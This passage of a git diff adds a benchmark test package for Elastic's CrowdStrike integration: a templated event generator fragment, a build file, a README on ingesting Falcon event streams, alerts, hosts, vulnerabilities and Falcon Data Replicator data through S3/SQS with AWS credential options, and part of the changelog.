}}","RuleTopic": "{{ $RuleTopic }}","RulePriority": "{{ $RulePriority }}","ItemId": "{{ $ItemId }}","ItemType": "{{ $ItemType }}","ItemPostedTimestamp": 1686889114000{{- else if eq $metadata_eventType "XdrDetectionSummaryEvent" }}"Author": "{{ $Author }}","DataDomains": "{{ $DataDomains }}","Description": "{{ $Description }}","DetectId": "{{ $DetectId }}","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "{{ $IPv4Addresses }}","HostNames": "{{ $HostNames }}","Name": "{{ $Name }}","PatternId": {{ $PatternId }},"Severity": {{ $Severity }},"SourceProducts": "{{ $SourceProducts }}","SourceVendors": "{{ $SourceVendors }}","StartTimeEpoch": 1643317697728000000,"TacticIds": "{{ $TacticIds }}","Tactics": "{{ $Tactics }}","TechniqueIds": "{{ $TechniqueIds }}","Techniques": "{{ $Techniques }}","XdrType": "{{ $XdrType }}" } {{end}}}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml
new file mode 100644
index 0000000000..d8553567e9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml
@@ -0,0 +1,3 @@
+dependencies:
+  ecs:
+    reference: "git@v8.17.0"
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
new file mode 100644
index 0000000000..964a2b4d41
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
@@ -0,0 +1,367 @@
+# CrowdStrike Integration
+
+## Overview
+
+The [CrowdStrike](https://www.crowdstrike.com/) integration allows you to efficiently connect your CrowdStrike Falcon platform to Elastic for seamless onboarding of alerts and telemetry from CrowdStrike Falcon and Falcon Data Replicator. Elastic Security can leverage this data for security analytics including correlation, visualization, and incident response.
+
+For a demo, refer to the following video (click to view).
+
+[![CrowdStrike integration video](https://play.vidyard.com/VKKWSpg4sDEk1DBXATkyEP.jpg)](https://videos.elastic.co/watch/VKKWSpg4sDEk1DBXATkyEP)
+
+### Compatibility
+
+This integration is compatible with CrowdStrike Falcon SIEM Connector v2.0, REST API, and CrowdStrike Event Streams API.
+
+### How it works
+
+The integration collects data from multiple sources within CrowdStrike Falcon and ingests it into Elasticsearch for security analysis and visualization:
+
+![CrowdStrike Integration Flowchart](../img/crowdstrike-elastic-data-flow.drawio.svg)
+
+1. **CrowdStrike Event Streams** — Real-time security events (auth, CSPM, firewall, user activity, XDR, detections). You can collect this data in two ways:
+    - **Falcon SIEM Connector** — A pre-built integration that connects CrowdStrike Falcon with your SIEM. The connector collects event stream data and writes it to files; this integration reads from the connector's output path (the `output_path` in `cs.falconhoseclient.cfg`).
+    - **Event Streams API** — Continuously streams security logs from CrowdStrike Falcon for proactive monitoring and threat detection.
+
+    Data from either method is indexed into the `falcon` dataset in Elasticsearch.
+
+2. **CrowdStrike REST API** — The integration uses the REST API to pull alerts, host inventory, and vulnerability data (indexed into the `alert`, `host`, and `vulnerability` datasets).
+
+    :::{note}
+    GovCloud CID users must enable the GovCloud option in the integration configuration to query the `/devices/queries/devices/v1` endpoint instead of the unsupported `/devices/combined/devices/v1` endpoint.
+    :::
+
+3. **Falcon Data Replicator (FDR)** — Batch data from your endpoints, cloud workloads, and identities using the Falcon platform's lightweight agent. Data is written to CrowdStrike-managed S3; this integration consumes it using SQS notifications (or from your own S3 bucket if you use the FDR tool to replicate). Logs are indexed into the `fdr` dataset in Elasticsearch.
+
+## What data does this integration collect?
+
+- **Event Streams** (falcon dataset)
+- **FDR** (fdr dataset)
+- **Alerts** (alert dataset)
+- **Hosts** (host dataset)
+- **Vulnerability** (vulnerability dataset)
+
+## What do I need to use this integration?
+
+This section describes the requirements and configuration details for each supported data source.
+
+### Collect data using CrowdStrike Falcon SIEM Connector
+
+To collect data using the Falcon SIEM Connector, you need the file path where the connector stores event data received from the Event Streams.
+This is the same as the `output_path` setting in the `cs.falconhoseclient.cfg` configuration file.
+
+The integration supports only JSON output format from the Falcon SIEM Connector. Other formats such as Syslog and CEF are not supported.
+
+Additionally, this integration collects logs only through the file system. Ingestion using a Syslog server is not supported.
+
+:::{note}
+The log files are written to multiple rotated output files based on the `output_path` setting in the `cs.falconhoseclient.cfg` file. The default output location for the Falcon SIEM Connector is `/var/log/crowdstrike/falconhoseclient/output`.
+By default, files named `output*` in `/var/log/crowdstrike/falconhoseclient` directory contain valid JSON event data and should be used as the source for ingestion.
+
+Files with names like `cs.falconhoseclient-*.log` in the same directory are primarily used for logging internal operations of the Falcon SIEM Connector and are not intended to be consumed by this integration.
+:::
+
+By default, the configuration file for the Falcon SIEM Connector is located at `/opt/crowdstrike/etc/cs.falconhoseclient.cfg`, which provides configuration options related to the events collected. The `EventTypeCollection` and `EventSubTypeCollection` sections list which event types the connector collects.
+
+### Collect data using CrowdStrike Event Streams
+
+The following parameters from your CrowdStrike instance are required:
+
+1. Client ID
+2. Client Secret
+3. Token URL
+4. API Endpoint URL
+5. CrowdStrike App ID
+6. Required scopes for event streams:
+
+    | Data Stream   | Scope               |
+    | ------------- | ------------------- |
+    | Event Stream  | read: Event streams |
+
+:::{note}
+You can use the Falcon SIEM Connector as an alternative to the Event Streams API.
+:::
+
+#### Supported Event Streams event types
+
+The following event types are supported for CrowdStrike Event Streams (whether you use the Falcon SIEM Connector or the Event Streams API):
+
+- CustomerIOCEvent
+- DataProtectionDetectionSummaryEvent
+- DetectionSummaryEvent
+- EppDetectionSummaryEvent
+- IncidentSummaryEvent
+- UserActivityAuditEvent
+- AuthActivityAuditEvent
+- FirewallMatchEvent
+- RemoteResponseSessionStartEvent
+- RemoteResponseSessionEndEvent
+- CSPM Streaming events
+- CSPM Search events
+- IDP Incidents
+- IDP Summary events
+- Mobile Detection events
+- Recon Notification events
+- XDR Detection events
+- Scheduled Report Notification events
+
+### Collect data using CrowdStrike REST API
+
+The following parameters from your CrowdStrike instance are required:
+
+1. Client ID
+2. Client Secret
+3. Token URL
+4. API Endpoint URL
+5. Required scopes for each data stream:
+
+    | Data Stream   | Scope         |
+    | ------------- | ------------- |
+    | Alert         | read:alert    |
+    | Host          | read:host     |
+    | Vulnerability | read:vulnerability |
+
+### Collect data using CrowdStrike Falcon Data Replicator (FDR)
+
+The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike
+managed S3 buckets. When new data is written to S3, notifications are sent to a CrowdStrike-managed SQS queue (using S3 event notifications configured in AWS), so this integration can consume them.
+
+This integration can be used in two ways. It can consume SQS notifications directly from the CrowdStrike managed
+SQS queue or it can be used in conjunction with the FDR tool that replicates the data to a self-managed S3 bucket
+and the integration can read from there.
+
+In both cases SQS messages are deleted after they are processed. This allows you to operate more than one Elastic
+Agent with this integration if needed and not have duplicate events, but it means you cannot ingest the data a second time.
+
+#### Use with CrowdStrike managed S3/SQS
+
+This is the simplest way to setup the integration, and also the default.
+
+You need to set the integration up with the SQS queue URL provided by CrowdStrike FDR.
+
+#### Use with FDR tool and data replicated to a self-managed S3 bucket
+
+This option can be used if you want to archive the raw CrowdStrike data.
+
+You need to follow the steps below:
+
+- Create an S3 bucket to receive the logs.
+- Create an SQS queue.
+- Configure your S3 bucket to send object created notifications to your SQS queue.
+- Follow the [FDR tool](https://github.com/CrowdStrike/FDR) instructions to replicate data to your own S3 bucket.
+- Configure the integration to read from your self-managed SQS topic.
+
+:::{note}
+While the FDR tool can replicate the files from S3 to your local file system, this integration cannot read those files because they are gzip compressed, and the log file input does not support reading compressed files.
+:::
+
+#### Configuration for the S3 input
+
+AWS credentials are required for running this integration if you want to use the S3 input.
+
+##### Configuration parameters
+* `access_key_id`: first part of access key.
+* `secret_access_key`: second part of access key.
+* `session_token`: required when using temporary security credentials.
+* `credential_profile_name`: profile name in shared credentials file.
+* `shared_credential_file`: directory of the shared credentials file.
+* `endpoint`: URL of the entry point for an AWS web service.
+* `role_arn`: AWS IAM Role to assume.
+
+##### Credential Types
+There are three types of AWS credentials that can be used:
+
+- access keys,
+- temporary security credentials, and
+- IAM role ARN.
+
+##### Access keys
+
+`AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` are the two parts of access keys.
+They are long-term credentials for an IAM user, or the AWS account root user.
+See [AWS Access Keys and Secret Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html#access-keys-and-secret-access-keys)
+for more details.
+
+##### Temporary security credentials
+
+Temporary security credentials have a limited lifetime and consist of an
+access key ID, a secret access key, and a security token which are typically returned
+from `GetSessionToken`.
+
+MFA-enabled IAM users would need to submit an MFA code
+while calling `GetSessionToken`. `default_region` identifies the AWS Region
+whose servers you want to send your first API request to by default.
+
+This is typically the Region closest to you, but it can be any Region. See
+[Temporary Security Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
+for more details.
+
+`sts get-session-token` AWS CLI can be used to generate temporary credentials.
+For example, with MFA-enabled:
+```bash
+aws> sts get-session-token --serial-number arn:aws:iam::1234:mfa/your-email@example.com --duration-seconds 129600 --token-code 123456
+```
+
+Because temporary security credentials are short term, after they expire, the
+user needs to generate new ones and manually update the package configuration in
+order to continue collecting `aws` metrics.
+
+This will cause data loss if the configuration is not updated with new credentials before the old ones expire.
+
+##### IAM role ARN
+
+An IAM role is an IAM identity that you can create in your account that has
+specific permissions that determine what the identity can and cannot do in AWS.
+
+A role does not have standard long-term credentials such as a password or access
+keys associated with it. Instead, when you assume a role, it provides you with
+temporary security credentials for your role session.
+IAM role Amazon Resource Name (ARN) can be used to specify which AWS IAM role to assume to generate
+temporary credentials.
+
+See [AssumeRole API documentation](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) for more details.
+
+##### Supported Formats
+1. Use access keys: Access keys include `access_key_id`, `secret_access_key`
+and/or `session_token`.
+2. Use `role_arn`: `role_arn` is used to specify which AWS IAM role to assume
+    for generating temporary credentials.
+    If `role_arn` is given, the package will check if access keys are given.
+    If not, the package will check for credential profile name.
+    If neither is given, default credential profile will be used.
+
+  Ensure credentials are given under either a credential profile or
+  access keys.
+3. Use `credential_profile_name` and/or `shared_credential_file`:
+    If `access_key_id`, `secret_access_key` and `role_arn` are all not given, then
+    the package will check for `credential_profile_name`.
+    If you use different credentials for different tools or applications, you can use profiles to
+    configure multiple access keys in the same configuration file.
+    If there is no `credential_profile_name` given, the default profile will be used.
+    `shared_credential_file` is optional to specify the directory of your shared
+    credentials file.
+    If it's empty, the default directory will be used.
+    In Windows, shared credentials file is at `C:\Users\<yourUserName>\.aws\credentials`.
+    For Linux, macOS or Unix, the file is located at `~/.aws/credentials`.
+    See [Create Shared Credentials File](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/create-shared-credentials-file.html)
+    for more details.
+
+#### Supported FDR data
+
+The FDR dataset includes:
+
+- Events generated by the Falcon sensor on your hosts
+- DataProtectionDetectionSummaryEvent (Data Protection detection summary)
+- File Integrity Monitor: FileIntegrityMonitorRuleMatched and FileIntegrityMonitorRuleMatchedEnriched events
+- EppDetectionSummaryEvent (EPP detection summary)
+- CSPM: Indicators of Misconfiguration (IOM) and Indicators of Attack (IOA) events
+
+## How do I deploy this integration?
+
+1. In Kibana, go to **Management > Integrations**.
+2. In the "Search for integrations" search bar, type **CrowdStrike**.
+3. Click the **CrowdStrike** integration from the search results.
+4. Click the **Add CrowdStrike** button to add the integration.
+5. Configure the integration.
+6. Click **Save and Continue** to save the integration.
+
+### Agentless enabled integration
+
+Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html).
+
+Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features.
+
+### Agent based installation
+
+Elastic Agent must be installed. For more details, check the Elastic Agent [installation instructions](docs-content://reference/fleet/install-elastic-agents.md).
+You can install only one Elastic Agent per host.
+Elastic Agent is required to stream data from the AWS SQS, Event Streams API, REST API, or SIEM Connector and ship the data to Elastic, where the events will then be processed using the integration's ingest pipelines.
+
+## Troubleshooting
+
+### Vulnerability API returns 404 Not found
+
+This error can occur for the following reasons:
+1. Too many records in the response.
+2. The pagination token has expired. Tokens expire 120 seconds after a call is made.
+
+To resolve this, adjust the `Batch Size` setting in the integration to reduce the number of records returned per pagination call.
+
+### Duplicate Events
+
+The option `Enable Data Deduplication` allows you to avoid consuming duplicate events. By default, this option is set to `false`, and so duplicate events can be ingested. When this option is enabled, a [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html) is used to calculate a hash from a set of CrowdStrike fields that uniquely identify the event. The hash is assigned to the Elasticsearch [`_id`](https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-id-field.html) field that makes the document unique and prevent duplicates.
+
+If duplicate events are ingested, to help find them, the integration's `event.id` field is populated by concatenating a few CrowdStrike fields that uniquely identify the event. These fields are `id`, `aid`, and `cid` from the CrowdStrike event. The fields are separated with pipe `|`.
+For example, if your CrowdStrike event contains `id: 123`, `aid: 456`, and `cid: 789` then the `event.id` would be `123|456|789`.
+
+### Alert severity mapping
+
+The values used in `event.severity` are consistent with Elastic Detection Rules.
+
+| Severity Name              | `event.severity` |
+|----------------------------|:----------------:|
+| Low, Info or Informational | 21               |
+| Medium                     | 47               |
+| High                       | 73               |
+| Critical                   | 99               |
+
+The integration sets `event.severity` according to the mapping in the table above. If the severity name is not available from the original document, it is determined from the numeric severity value according to the following table.
+
+| CrowdStrike Severity | Severity Name |
+|------------------------|:-------------:|
+| 0 - 19                 | info          |
+| 20 - 39                | low           |
+| 40 - 59                | medium        |
+| 60 - 79                | high          |
+| 80 - 100               | critical      |
+
+## Logs
+
+### Alert
+
+This is the `alert` dataset.
+
+#### Example
+
+{{event "alert"}}
+
+{{fields "alert"}}
+
+### Falcon
+
+This is the `falcon` dataset.
+
+#### Example 
+
+{{event "falcon"}}
+
+{{fields "falcon"}}
+
+### FDR
+
+This is the `fdr` dataset.
+
+#### Example
+
+{{event "fdr"}}
+
+{{fields "fdr"}}
+
+### Host
+
+This is the `host` dataset.
+
+#### Example
+
+{{event "host"}}
+
+{{fields "host"}}
+
+### Vulnerability
+
+This is the `vulnerability` dataset.
+
+#### Example
+
+{{event "vulnerability"}}
+
+{{fields "vulnerability"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml
new file mode 100644
index 0000000000..5bdf3afc18
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml
@@ -0,0 +1,1051 @@
+# newer versions go on top
+- version: "3.12.0"
+  changes:
+    - description: Add demo video link to integration documentation.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17889
+- version: "3.11.0"
+  changes:
+    - description: Append preserve_original_event in pipeline on_failure handlers to support error correction and debugging.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17780
+    - description: Fix FDR fim_rule_matched pipeline to append preserve_original_event to tags instead of event.kind in on_failure.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/17780
+- version: "3.10.0"
+  changes:
+    - description: Remove deprecated threat field mappings and map fields under `mitre_attack` to standard ECS threat fields in alert data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17327
+- version: "3.9.1"
+  changes:
+    - description: Fix the falcon data stream ingest pipeline to handle non-object documents.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/17616
+- version: "3.9.0"
+  changes:
+    - description: Remove deprecated threat field mappings and map fields under `MitreAttack` to standard ECS threat fields in falcon data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17322
+- version: "3.8.0"
+  changes:
+    - description: Update the CrowdStrike integration README and layout.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15927
+    - description: Update policy template titles and descriptions.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15927
+- version: "3.7.0"
+  changes:
+    - description: Add tags to ingest pipelines.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17437
+    - description: Update error message format in ingest pipelines.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17437
+- version: "3.6.0"
+  changes:
+    - description: Add if conditions to geoip processors in the FDR data stream to improve performance.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17584
+    - description: Added new configuration options to the FDR data stream to enable or disable GeoIP enrichment for `observer.ip`, `source.ip`, and `destination.ip` fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17584
+- version: "3.5.0"
+  changes:
+    - description: Add support for CustomerIOCEvent events in falcon data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17339
+- version: "3.4.0"
+  changes:
+    - description: Add support for FileIntegrityMonitorRuleMatched and FileIntegrityMonitorRuleMatchedEnriched events in the FDR data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16990
+    - description: Change `crowdstrike.Nonce` field type from integer to unsigned_long in the FDR data stream to support unsigned 64-bit values out of long range.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16990
+- version: "3.3.1"
+  changes:
+    - description: Remove references to FDR queue setting.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/17387
+    - description: Remove duplicate security-solution-default tag references
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/17020
+- version: "3.3.0"
+  changes:
+    - description: Parse EppDetectionSummaryEvent events in FDR data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17034
+- version: "3.2.1"
+  changes:
+    - description: Fix processing of `crowdstrike.User.ID` field.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/16989
+- version: "3.2.0"
+  changes:
+    - description: Improvements and fixes to ingest pipelines for all data streams.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16730
+- version: "3.1.0"
+  changes:
+    - description: Improve ingest pipeline maintainability.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16213
+- version: "3.0.0"
+  changes:
+    - description: >-
+        Add parsing for CSPM IOA and IOM events in the FDR data stream. No configuration changes are required on user side to enable parsing. Some field data types have changed, which can break existing Kibana dashboards or queries.
+      type: breaking-change
+      link: https://github.com/elastic/integrations/pull/15783
+- version: "2.11.0"
+  changes:
+    - description: >-
+        Add support for following additional event types in the FDR data stream: MountedVolume, FalconProcessHandleOpDetectInfo, ServiceStopped, KernelServiceStarted, InstalledBrowserExtension, SensorAntiTamperState, SensorSettingsUpdate, ServicesStatusInfo, FileWrittenWithEntropyHigh, ReflectiveDotnetModuleLoad, SuspiciousPrivilegedProcessHandle. These new event types provide deeper visibility into system activity and security posture.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15846
+- version: "2.10.1"
+  changes:
+    - description: Remove all constant keyword fields that have statically defined values.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/16240
+    - description: Fix handling of string CrowdStrike `User` fields.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/16240
+- version: "2.10.0"
+  changes:
+    - description: >-
+        Provide an alternate endpoint to query host data for GovCloud CIDs. The GovCloud CIDs must enable the `GovCloud` flag in the integration configuration to ensure the correct endpoint is used.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16007
+- version: "2.9.0"
+  changes:
+    - description: Support handling FDR documents that encode numbers as strings.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16087
+- version: "2.8.0"
+  changes:
+    - description: Add support for HTTP proxy configuration for Event Streams. Add support for proxy header configuration for CrowdStrike APIs.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15880
+- version: "2.7.0"
+  changes:
+    - description: Add support for DataProtectionDetectionSummaryEvent events in FDR and Falcon datasets.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15859
+- version: "2.6.0"
+  changes:
+    - description: Add a fallback parsing command_line to populate the process name in the FDR data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15646
+- version: "2.5.2"
+  changes:
+    - description: Add `event.category` and `event.type` fields to process data in alerts.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15616
+- version: "2.5.1"
+  changes:
+    - description: Add conditionals to rename processors in the fdr ingest pipeline to pass the rally benchmark.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15497
+    - description: Fix the alert ingest pipeline to append device tags correctly.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15497
+- version: "2.5.0"
+  changes:
+    - description: Migrate to /devices/combined/devices/v1 endpoint to pull host data.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15419
+- version: "2.4.0"
+  changes:
+    - description: Enhance the field mappings for Windows events in the FDR data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15342
+- version: "2.3.0"
+  changes:
+    - description: Migrate to /alerts/combined/alerts/v1 endpoint to pull alert data.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15291
+- version: "2.2.1"
+  changes:
+    - description: Fix processing of `crowdstrike.User.Name` field.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15272
+- version: "2.2.0"
+  changes:
+    - description: >-
+        Migrate to the "/spotlight/combined/vulnerabilities/v1" endpoint for vulnerability data. Add support for the `facet` query parameter to control what data is returned in the API response.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15049
+- version: "2.1.0"
+  changes:
+    - description: Populate `message` ECS field from `crowdstrike.event_simpleName` field for FDR data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14916
+- version: "2.0.1"
+  changes:
+    - description: Added a conditional JSON parsing workaround for `ResourceAttributes` to handle cases where it is rendered as a JSON string.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15019
+- version: "2.0.0"
+  changes:
+    - description: "Data deduplication is now disabled by default for the FDR data stream when configured with the aws-s3 input. \nPreviously, the FDR data stream automatically handled deduplication by computing an Elasticsearch document _id \nusing the aws-s3 input. To prevent duplicate documents, you must now explicitly enable the Data Deduplication setting. \nWhile enabling this setting prevents duplicates, it can result in a lower indexing rate because Elasticsearch \nmust check for existing documents before indexing.\n"
+      type: breaking-change
+      link: https://github.com/elastic/integrations/pull/14762
+- version: "1.80.0"
+  changes:
+    - description: Update README to clarify the log file format and location for the Falcon SIEM Connector.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14789
+- version: "1.79.0"
+  changes:
+    - description: Parse `ou` field for host data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14773
+- version: "1.78.0"
+  changes:
+    - description: Add `FilesAccessed` timestamp checking to falcon and fdr data streams.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14723
+- version: "1.77.1"
+  changes:
+    - description: Support various Tags formats in FDR data.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/14679
+- version: "1.77.0"
+  changes:
+    - description: Use `terminate` processor instead of `fail` processor to handle agent errors.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14393
+- version: "1.76.0"
+  changes:
+    - description: Extend info-level severity names to include "Informational".
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14275
+- version: "1.75.2"
+  changes:
+    - description: Add temporary processor to remove the fields added by the Agentless policy.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/14172
+- version: "1.75.1"
+  changes:
+    - description: Add support for multi-resource falcon hose streams.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/14212
+- version: "1.75.0"
+  changes:
+    - description: Add additional parsed fields in alert datastream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14143
+- version: "1.74.0"
+  changes:
+    - description: Standardize user fields processing across integrations.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14066
+- version: "1.73.1"
+  changes:
+    - description: Fix EppDetectionSummaryEvent recognition logic in falcon data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/14110
+- version: "1.73.0"
+  changes:
+    - description: Parse `prevented` and `worker_node_name` field for alert data streams.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14026
+- version: "1.72.0"
+  changes:
+    - description: Update SQS parsing script to parse all notification payloads.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13875
+- version: "1.71.0"
+  changes:
+    - description: Add `process.entity_id` and `process.parent.entity_id` ECS mappings in alert and falcon data streams.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13984
+- version: "1.70.0"
+  changes:
+    - description: Normalize `event.severity` values across EDR integrations.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13955
+- version: "1.69.1"
+  changes:
+    - description: Correct network.direction mapping.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13961
+- version: "1.69.0"
+  changes:
+    - description: Improve user ECS field mappings for FDR.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13906
+- version: "1.68.0"
+  changes:
+    - description: Improve handling of document collision.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13779
+- version: "1.67.0"
+  changes:
+    - description: Improve FDR field handling.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12913
+- version: "1.66.0"
+  changes:
+    - description: Handle `UTCTimestamp` values expressed in Unix seconds.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13833
+- version: "1.65.1"
+  changes:
+    - description: Adjust alert batch size to 1000 to match the API limit.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13862
+- version: "1.65.0"
+  changes:
+    - description: Remove redundant installation instructions.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13573
+- version: "1.64.1"
+  changes:
+    - description: Reset state values when an error occurs during vulnerability data collection.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13740
+- version: "1.64.0"
+  changes:
+    - description: Enhance `device.id` ECS mappings for FDR data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13762
+- version: "1.63.2"
+  changes:
+    - description: Fix the navigation links in `Table of Contents` section.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13763
+- version: "1.63.1"
+  changes:
+    - description: Fix default request trace enabled behavior.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13712
+- version: "1.63.0"
+  changes:
+    - description: Update `host.*` ECS mappings.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13373
+- version: "1.62.0"
+  changes:
+    - description: Updated integration logo.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12345
+- version: "1.61.1"
+  changes:
+    - description: Fix condition in date processors for the FDR data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13394
+- version: "1.61.0"
+  changes:
+    - description: Improve performance of script processors in fdr data stream ingest pipeline.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13325
+- version: "1.60.0"
+  changes:
+    - description: Add option to delete long fields thus avoiding _ignored fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13157
+- version: "1.59.0"
+  changes:
+    - description: Improve `EppDetectionSummaryEvent` event field mapping for falcon.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13334
+- version: "1.58.0"
+  changes:
+    - description: Add support for `EppDetectionSummaryEvent` events.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12869
+- version: "1.57.0"
+  changes:
+    - description: Reduce storage load for less useful or constant fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13260
+- version: "1.56.1"
+  changes:
+    - description: Expose missing "Number of Workers" settings to the user.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13196
+- version: "1.56.0"
+  changes:
+    - description: Optionally allow data deduplication.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13109
+    - description: Concatenate fingerprint fields into `event.id` to allow checking for duplicates.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13109
+- version: "1.55.0"
+  changes:
+    - description: Increase field limits in FDR data-streams to avoid unindexed ECS fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13056
+- version: "1.54.0"
+  changes:
+    - description: Enable request trace log removal.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13035
+- version: "1.53.0"
+  changes:
+    - description: Add support of vulnerability data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12973
+    - description: Update ecs version to 8.17.0 and add navigation of vulnerability dashboard in existing dashboards.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12973
+- version: "1.52.3"
+  changes:
+    - description: Fix condition in date processors for the FDR data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13397
+- version: "1.52.2"
+  changes:
+    - description: Expose missing "Number of Workers" settings to the user.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13296
+- version: "1.52.1"
+  changes:
+    - description: Fixed parsing of RawProcessIDs in edge case scenarios.
+      type: bugfix
+      link: http://github.com/elastic/integrations/pull/12860
+- version: "1.52.0"
+  changes:
+    - description: Add handling for domain names in SMB events.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12712
+    - description: Fix issues/gaps in handling of domain names in DNS events.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/12712
+    - description: Fix over setting of `url.scheme`.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/12712
+- version: "1.51.2"
+  changes:
+    - description: Avoid using dynamic template for flattened fields.
+      type: bugfix
+      link: http://github.com/elastic/integrations/pull/12624
+- version: "1.51.1"
+  changes:
+    - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
+      type: bugfix
